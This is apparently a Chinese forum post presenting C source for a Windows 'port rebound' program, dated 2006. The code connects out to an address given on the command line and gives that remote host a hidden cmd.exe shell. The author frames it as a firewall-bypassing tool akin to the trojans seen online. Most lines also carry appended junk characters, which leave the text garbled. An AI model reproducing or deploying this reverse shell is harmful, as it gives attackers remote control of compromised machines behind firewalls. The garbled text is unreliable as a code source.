Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 =o Xsb  
K&nE_.kbl  
/* ============================== v 0 }
@  
Rebound port in Windows NT n1JRDw"e$$  
By wind,2006/7 Ey_" ~OB  
===============================*/ ZYI{i?Te#  
#include 74H)|Dkx  
#include %70~M_  
&S( .GdEf  
#pragma comment(lib,"wsock32.lib") PK;*u,V  
[<-
  
void OutputShell(); 7l'6gg
  
SOCKET sClient; )^m%i]L_  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aa?w:3  
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void main(int argc,char **argv) bu |a0h7e  
{ )f}YW/'  
WSADATA stWsaData; "B=  
int nRet; }!;s.[y  
SOCKADDR_IN stSaiClient,stSaiServer; p;._HJ(  
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if(argc != 3) %ZNI:Uh  
{ z54EG:x.7^  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2@9Tfm(=  
return; ^.#jF#u~  
} J/\V%~ 1F  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pf|siC^;s~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }2(,K[?  
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stSaiClient.sin_family = AF_INET; N$h{Yvbn  
stSaiClient.sin_port = htons(0); &0NFb^8+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 
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Q7R~{5r>W  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j<u@j+V  
{ vg D77  
printf("Bind Socket Failed!\n"); OlAs'TE^  
return; Q?3Gk%T0[  
} *"D3E7AO  
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stSaiServer.sin_family = AF_INET; oX0D
 
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >}!mQpAO  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OJ/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }D7I3]2>  
{ >;L6xt3  
printf("Connect Error!"); MO&}r7qq  
return; hv8P4"i v  
} %%NlTE8*  
OutputShell(); o>/YAX:.!T  
} V>ieh2G(  
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void OutputShell() '<rZm=48  
{ >iD )eB  
char szBuff[1024]; #gp,V#T  
SECURITY_ATTRIBUTES stSecurityAttributes; MKy[hT:  
OSVERSIONINFO stOsversionInfo; }*lUah,@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aCQ?fq  
STARTUPINFO stStartupInfo; T(e!_VY|m  
char *szShell; 3T"j)R_=l  
PROCESS_INFORMATION stProcessInformation; 2C/$Ei^t  
unsigned long lBytesRead; #Yr9AVr}K  
T2SP W@#Z3  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4T!+D  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lD"(MQV@0  
stSecurityAttributes.lpSecurityDescriptor = 0; sYjpU  
stSecurityAttributes.bInheritHandle = TRUE; O>^C4c!  
"NgxkbDEbG  
3~}uqaGt  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kMtwiB|7j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F'B8v3  
stStartupInfo.wShowWindow = SW_HIDE; J]&y$?C  
stStartupInfo.hStdInput = hReadPipe; 6 G3\=)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LM7$}#$R  
MxGu>r  
GetVersionEx(&stOsversionInfo); }z\_;\7  
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switch(stOsversionInfo.dwPlatformId) J(c{y]`J  
{ YN`H BFH  
case 1: ~v]!+`_J  
szShell = "command.com"; jFA{+Yr1  
break; "Qja1TQ  
default: CAcS~ "  
szShell = "cmd.exe"; MxY/`9>E|+  
break; ~.UrL(l=  
} 4eikLRD,  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A8pIs  
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send(sClient,szMsg,77,0); {_S}H1,  
while(1) gF$V$cU  
{ A
j2OkD  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f}1&HI8r  
if(lBytesRead) =0G!f$7^i  
{ qe!fk?T}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =Qgt${|  
send(sClient,szBuff,lBytesRead,0); h"_~7jq"  
} =!`j7#:  
else DdVF,  
{ XLL/4)  
lBytesRead=recv(sClient,szBuff,1024,0); ;PjQt=4K  
if(lBytesRead<=0) break; &2`Fn!m  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sFQ^2PwbS  
} M-[$L XR  
} %*&UJpbA  
2Z3('?\z~  
return; U2`'qsR1  
}